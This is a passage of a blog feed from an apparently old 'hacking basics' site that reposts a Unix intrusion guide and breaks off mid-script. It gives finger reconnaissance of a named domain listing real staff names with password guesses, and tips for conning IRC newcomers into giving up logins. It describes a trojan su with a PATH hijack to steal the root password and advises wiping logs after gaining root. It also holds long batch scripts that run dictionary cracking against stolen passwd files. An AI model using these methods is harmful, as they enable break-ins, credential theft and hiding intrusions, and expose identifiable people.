xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-568562141833524171</id><published>2007-01-07T04:39:00.000+05:30</published><updated>2007-02-06T04:39:41.625+05:30</updated><title type='text'>getdomain.pl</title><content type='html'>getdomain.pl&lt;br /&gt;---- cut here&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# GetDomain By Nfin8 / Invisible Evil&lt;br /&gt;# Questions /msg i-e  or  /msg i^e&lt;br /&gt;#&lt;br /&gt;# Retrieve command line arguments.&lt;br /&gt;my($inputfile, $domain) = @ARGV;&lt;br /&gt;usage() if (!defined($inputfile) || !defined($domain));&lt;br /&gt;&lt;br /&gt;# Open and preprocess the input file.&lt;br /&gt;open(INFILE, "&lt;$inputfile") or die("Cannot open file $inputfile for reading!\n");&lt;br /&gt;my(@lines) = &lt;infile&gt;;&lt;br /&gt;&lt;br /&gt;# Initialize main data structure.&lt;br /&gt;my(%hash) = {};&lt;br /&gt;my($key) = "";&lt;br /&gt;&lt;br /&gt;foreach (@lines) {&lt;br /&gt;  $key = (split(/\ /))[0];&lt;br /&gt;  chop($key);&lt;br /&gt;  next if ((($key =~ tr/.//) &lt; 1) ||&lt;br /&gt;            (uc($domain) ne uc(((split(/\./, $key))[-1]))) ||&lt;br /&gt;            ($key =~ m/root-server/i));&lt;br /&gt;  $hash{$key}++;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# Close input file and output data structure to STDOUT.&lt;br /&gt;close(INFILE);&lt;br /&gt;&lt;br /&gt;foreach (sort(keys(%hash))) {&lt;br /&gt;  print "$_\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub usage {&lt;br /&gt;  print("\n\ngetdomain:\n");&lt;br /&gt;  print("Usage: getdomain [inputfile] [search]\n\n");&lt;br /&gt;  print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;0;&lt;br /&gt; &lt;br /&gt;---- cut here - end of script -----&lt;br /&gt;&lt;br /&gt;To use the script above all you need to do is copy between the lines above&lt;br /&gt;and name it getdomain.pl, now copy it into the unix os and type&lt;br /&gt;chmod +x getdomain.pl&lt;br /&gt;&lt;br /&gt;Now it is ready to run with the command lines above.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-568562141833524171?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/568562141833524171/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=568562141833524171' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/568562141833524171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/568562141833524171'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/getdomainpl.html' title='getdomain.pl'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-7269963719954856688</id><published>2007-01-06T04:37:00.000+05:30</published><updated>2007-02-06T04:38:12.166+05:30</updated><title type='text'>The hard way</title><content type='html'>There is another way you can do this.  Be sure that on most big systems&lt;br /&gt;that users do not use secure passwords.  from a shell do this:&lt;br /&gt;&lt;br /&gt;finger @domainname.com  Watch I will do a real domain:&lt;br /&gt;&lt;br /&gt;[10:35am][/home/ii]finger @starnet.net&lt;br /&gt;[starnet.net]&lt;br /&gt;Login    Name                 Tty   Idle  Login Time   Office     Office Phone&lt;br /&gt;chris    Chris Myers           p2   4:46  Jan 27 11:19&lt;br /&gt;mike     Mike Suter            p1   4:57  Jan 22 16:14&lt;br /&gt;mike     Mike Suter            p5     3d  Jan 16 15:35&lt;br /&gt;root     System Administrator  p3   4:59  Jan 16 10:17&lt;br /&gt;wendt    Catherine Wendt-Bern  p0      3  Jan 21 14:49&lt;br /&gt;[10:35am][/home/ii]&lt;br /&gt;&lt;br /&gt;Now we might want to try logging in later, log this information:&lt;br /&gt;&lt;br /&gt;Login chris Password try: Chris, chris, myers, Myers, chrismyers, etc...&lt;br /&gt;&lt;br /&gt;This one looks good, wendt:Catherine:catherine&lt;br /&gt;&lt;br /&gt;Here is another command:&lt;br /&gt;&lt;br /&gt;[10:35am][/home/ii]finger -l @starnet.net&lt;br /&gt;[starnet.net]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Login: mike                             Name: Mike Suter&lt;br /&gt;Directory: /usra/staff/mike             Shell: /bin/csh&lt;br /&gt;On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net&lt;br /&gt;On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox&lt;br /&gt;Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk&lt;br /&gt;No Plan.&lt;br /&gt;&lt;br /&gt;Login: root                             Name: System Administrator&lt;br /&gt;Directory: /root                        Shell: /bin/csh&lt;br /&gt;On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net&lt;br /&gt;Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net&lt;br /&gt;Mail forwarded to:&lt;br /&gt;\chris@admin.starnet.net&lt;br /&gt;#\chris@admin.starnet.net, \mike@admin.starnet.net&lt;br /&gt;No Plan.&lt;br /&gt;&lt;br /&gt;Login: wendt                            Name: Catherine Wendt-Bernal&lt;br /&gt;Directory: /usra/staff/wendt            Shell: /bin/csh&lt;br /&gt;On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout&lt;br /&gt;No Plan.&lt;br /&gt;&lt;br /&gt;You get more info to play with ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I know this can make you tired ....&lt;br /&gt;&lt;br /&gt;Remember this stuff will log your tries, so if you get on and get root, clean&lt;br /&gt;the logs ;)&lt;br /&gt;&lt;br /&gt;In next post, you will get a small .c file you can use if you get on.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-7269963719954856688?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/7269963719954856688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=7269963719954856688' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7269963719954856688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/7269963719954856688'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/hard-way.html' title='The hard way'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-5242200051030526787</id><published>2007-01-04T04:33:00.000+05:30</published><updated>2007-02-06T04:37:41.012+05:30</updated><title type='text'>Talking to newbe's</title><content type='html'>There are other ways to get an account without doing much work.  Park yourself&lt;br /&gt;on an irc channel that you made with a title about hacking.  Also try joining&lt;br /&gt;other channels already on the irc.  Channels would include:&lt;br /&gt;#hacking #unix #unixhacking #hack #hackers #hacker #virus #virii&lt;br /&gt;#hackers_hideout or any others you can find.&lt;br /&gt;&lt;br /&gt;Now what you are looking for are newbe's looking to learn or exploit their shell&lt;br /&gt;they are on already.  There is always someone out there that does not know as&lt;br /&gt;much as you.  Watch for someone out there that asks a newbe question and gets&lt;br /&gt;no answer or even kicked off the channel.  Here is your mark ;)&lt;br /&gt;&lt;br /&gt;/msg him so that others can't see that you are talking to him, and begin to ask&lt;br /&gt;him questions, try to help him, but not too much ;)  Finally tell him that you&lt;br /&gt;can login for him and do it.  This could be to snatch the passwd file or god&lt;br /&gt;knows what.  Promise him the world and get that login password.  Now you have&lt;br /&gt;a start and can start your on-hands learning process.  If you get root on the&lt;br /&gt;system you might not want to expose that to him, but you can feed him other&lt;br /&gt;goodies that will keep him busy while you sniff some other passwords on the&lt;br /&gt;system.&lt;br /&gt;&lt;br /&gt;So now if there are some out there that remember i-e when you gave him your&lt;br /&gt;login and password, you can be sure that the above never happened &lt;g&gt;rin ...&lt;br /&gt;&lt;br /&gt;I tend to like to help people learn so I am telling the truth when i say I&lt;br /&gt;have dealt honestly with most everyone I have come across.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3071953721373396848-5242200051030526787?l=hacking-basics.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-basics.blogspot.com/feeds/5242200051030526787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3071953721373396848&amp;postID=5242200051030526787' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/5242200051030526787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3071953721373396848/posts/default/5242200051030526787'/><link rel='alternate' type='text/html' href='http://hacking-basics.blogspot.com/2007/01/talking-to-newbes.html' title='Talking to newbe&apos;s'/><author><name>विकास कुमार</name><email>vikash.iitb@gmail.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='08991133593370741747'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3071953721373396848.post-3119036851818046833</id><published>2007-01-02T01:06:00.000+05:30</published><updated>2007-01-02T05:14:10.419+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Cracking passwd files</title><content type='html'>&lt;div style="text-align: justify;"&gt;If you are hacking with the right frame of mind, you will run the crack program until you get one good account that will let you into the system.&lt;br /&gt;&lt;br /&gt;You will login and see if you can exploit root on the system, if so, get root, get the files you need to use into your nested directory, and erase your presence, and clean all of the logs.  Now you are ready to load your sniffer.&lt;br /&gt;&lt;br /&gt;Why go on hacking passwords for a system that within 24 hours you will have most of the passwords anyway?  Not only for the machine you just hacked, but other machines that were connected to as well.  If the system is not exploitable don't even waste your time on it, go on to the next.  At a latter date if you want to crack passwords for accounts to trade go ahead.&lt;br /&gt;&lt;br /&gt;If you get an admin's account cracked you might want to read his history files, and see if he is using the su command to access root allot.  If he is you can use an su trojan on him.  This will get you the root password.  This works like this:  You change his shell script so that a hidden directory (.term) is good, is set in the search path before all other directories.  You put a fake su&lt;br /&gt;binary in the .term (or other) directory.  He types su, everything looks good to him, he types in the root password when prompted, the password id copied to a log file in /tmp/.elm69, and deletes the trojan su file, and returns to him a password error telling him to try again.  He thinks he must have done something wrong and runs su again, but this time the real one and logs in.&lt;br /&gt;&lt;br /&gt;You will find this fake su program in the end of this post named uuencoded files. (Do you know what are uuencoded files? How to decode. Try finding out... :D)&lt;br /&gt;&lt;br /&gt;Here are the docs:&lt;br /&gt;&lt;br /&gt;Fake SU by Nfin8 - i-e&lt;br /&gt;&lt;br /&gt;IRC: /msg i-e&lt;br /&gt;&lt;br /&gt;Easy as 1,2,3 ...&lt;span class="" style="display: block;" id="formatbar_JustifyFull" title="Justify Full" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 13);ButtonMouseDown(this);"&gt;&lt;img src="http://www2.blogger.com/img/gl.align.full.gif" alt="Justify Full" border="0" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Change the path in one of the user accounts that you have access to that you see is using SU from reading their history files, to hit a path first that you have placed the su trojan file into.  .term or .elm is good!&lt;br /&gt;&lt;br /&gt;2. Make sure to edit the top of the su.c file to the path you will be using so that the sutrojan will delete isself and let the real SU work for the second try.&lt;br /&gt;&lt;br /&gt;3. Put all of the files in the target directory and compile the su.c file.&lt;br /&gt;&lt;br /&gt;gcc su.c -o su&lt;br /&gt;&lt;br /&gt;Then delete all of the files but the su.  All done!&lt;br /&gt;&lt;br /&gt;.bash_profile might look like this:&lt;br /&gt;&lt;br /&gt;# .bash_profile&lt;br /&gt;&lt;br /&gt;# Get the aliases and functions&lt;br /&gt;if [ -f ~/.bashrc ]; then&lt;br /&gt;     . ~/.bashrc&lt;br /&gt;             fi&lt;br /&gt;&lt;br /&gt;# User specific environment and startup programs&lt;br /&gt;&lt;br /&gt;PATH=$PATH:$HOME/bin&lt;br /&gt;ENV=$HOME/.bashrc&lt;br /&gt;USERNAME=""&lt;br /&gt;&lt;br /&gt;export USERNAME ENV PATH&lt;br /&gt;&lt;br /&gt;You change the first line to: PATH=$HOME/.term:$PATH:$HOME/bin&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When the sys admin run's 'SU' it will run the SU-trojan in the .term directory first and report that the password he typed was wrong, the Trojan su program would have put a hidden file in the /tmp directory for you that contains the root password (or account passwd) typed.  If it was&lt;br /&gt;an account rather then the root password it will let you know the account name. Then the trojan su program deletes itself so that the next try will get the real su program.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can find the admin's at the top section of the passwd file in the /etc directory.  Just type :  more passwd&lt;br /&gt;&lt;br /&gt;You can be sure that the first two real accounts made in the passwd file are admin's, also sometimes you can find others by where their directories are located in the password file.  Like /staff/username.&lt;br /&gt;&lt;br /&gt;The history files are in each users account directory.  You can read these to see what the last commands were that were typed by the user.  Sometimes as much as the last 100+ commands.  Look for the file .bash_history, or History, you can read these using more.  command: more .bash_history, or most times to keep your typing you can type : more .b*  (or) just type : more .b (and then hit the tab key on your keyboard).&lt;br /&gt;&lt;br /&gt;Ok so now you need a good password cracking program. You can see in the next chapter on how to get password files from systems that you do not have an account on, but it is catch 22, you need the password cracking program too.&lt;br /&gt;&lt;br /&gt;There are three things that you will need.&lt;br /&gt;&lt;br /&gt;1. Password cracking program&lt;br /&gt;2. Good word files&lt;br /&gt;3. Password files&lt;br /&gt;&lt;br /&gt;The best password cracking program to start would be crackerjack.  You can search the web and find this easy as 1,2,3.  Download it and you are ready to go.  If you are a bit more advanced you can download a cjack for unix and run it in a shell.  But if you are just getting started get the DOS/OS/2 version.&lt;br /&gt;&lt;br /&gt;Also search for some good word files.  The best word files are the names. You will find that most unsecured passwords out there are guy's girlfriends names, of girls boyfriends names ;)  You will find word files like 'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'&lt;br /&gt;hackersdict' and other like these to be the best.&lt;br /&gt;&lt;br /&gt;Load crackerjack like this:&lt;br /&gt;&lt;br /&gt;[D:\jack]jack&lt;br /&gt;&lt;br /&gt;Cracker Jack version 1.4 for OS/2 and DOS (386)&lt;br /&gt;Copyright (C) 1993, The Jackal, Denmark&lt;br /&gt;&lt;br /&gt;PWfile(s) : domain.com.passwd&lt;br /&gt;&lt;br /&gt;Wordfile  : domain.com.passwd&lt;br /&gt;&lt;br /&gt;Like above run the password file as the wordfile first.  This will get you all of the logon's first that used their login name as their password, also if they used any other info like their real name or company name it will hit right away and you will not have to wait for the program to search through a word file.&lt;br /&gt;&lt;br /&gt;If you want to hash the word file to get more out of it you can read the doc's for crackerjack.&lt;br /&gt;&lt;br /&gt;Hashing is where you can tell crackerjack to change the case of the wordfile or even add numbers or letters to the beginning or end of the words in the word file, like sandy1 or 1sandy.  You will find that many users do this and think they are more secure.&lt;br /&gt;&lt;br /&gt;Here are hashing files for both the passwd file and your word list.  After&lt;br /&gt;looking these over you will see how you can modify these or create new ones&lt;br /&gt;to suit your needs.&lt;br /&gt;&lt;br /&gt;------------ start of dicthash.bat&lt;br /&gt;@echo off&lt;br /&gt;cls&lt;br /&gt;echo - THIS FILE FOR DOS MACHINES&lt;br /&gt;echo ----------------------------------------------------------------------&lt;br /&gt;echo - To work this batch file have all of the crackerjack files in the&lt;br /&gt;echo - current directory with this batch file, along with your dict and&lt;br /&gt;echo - password file.  Then use this batch file using the following format:&lt;br /&gt;echo -&lt;br /&gt;echo - dicthash.bat dictfilename.ext passwordfilename.ext&lt;br /&gt;echo -&lt;br /&gt;echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.&lt;br /&gt;echo -&lt;br /&gt;echo - dicthash will first load jack running the dict file against your&lt;br /&gt;echo - password file in both cases, then it will add numbers 0-9 both to&lt;br /&gt;echo - the begining and end of every dict word.  This will take a while,&lt;br /&gt;echo - so go out for that week vacation!&lt;br /&gt;echo -&lt;br /&gt;echo - If you get tired you can 'ctrl c' to the next option or number.&lt;br /&gt;echo -&lt;br /&gt;echo - ii@dormroom.pyro.net&lt;br /&gt;echo -&lt;br /&gt;echo - Mail me some of your hits, let me know how this works for you ;)&lt;br /&gt;&lt;br /&gt;jpp -lower %1 | jack -stdin %2&lt;br /&gt;jpp %1 | jack -stdin %2&lt;br /&gt;jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2&lt;br /&gt;jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2&lt;br /&gt;jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2&lt;br /&gt;jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.2 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.2 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.3 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.3 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.4 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.4 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.5 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.5 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.6 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.6 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.7 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.7 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.8 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.8 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.9 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.9 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2&lt;br /&gt;jpp  -dot:0 %1 | jpp -translate:.0 | jack -stdin %2&lt;br /&gt;jpp  -dot:7 %1 | jpp -translate:.0 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2&lt;br /&gt;jpp  -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2&lt;br /&gt;&lt;br /&gt;---------------- end of dicthash.bat&lt;br /&gt;&lt;br /&gt;---------------- start of jackhash.bat&lt;br /&gt;@echo off&lt;br /&gt;cls&lt;br /&gt;echo - THIS FILE FOR DOS&lt;br /&gt;echo ----------------------------------------------------------------------&lt;br /&gt;echo - To work this batch file have all of the crackerjack files in the&lt;br /&gt;echo - current directory with this batch file, along with your password file.&lt;br /&gt;echo - Then use this batch file using the following format:&lt;br /&gt;echo -&lt;br /&gt;echo - jackhash.bat passwordfilename.ext&lt;br /&gt;echo -&lt;br /&gt;echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.&lt;br /&gt;echo -&lt;br /&gt;echo - jackhash will first load jack running the passwd file against&lt;br /&gt;echo - itself in both upper and lower cases, then it will add numbers 0-9&lt;br /&gt;echo - both to the begining and end of every dict word.  This will take&lt;br /&gt;echo - a while, so go out for that week vacation!&lt;br /&gt;echo -&lt;br /&gt;echo - If you get tired you can 'ctrl c' to the next option or number.&lt;br /&gt;echo -&lt;br /&gt;echo - ii@dormroom.pyro.net&lt;br /&gt;echo -&lt;br /&gt;echo - Mail me some of your hits, let me know how this works for you ;)&lt;br /&gt;&lt;br /&gt;jpp -gecos:5 -lower %1 | jack -stdin %1&lt;br /&gt;jpp -gecos:5 %1 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1&lt;br /&gt;jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1&lt;br /&gt;jpp -gecos:2 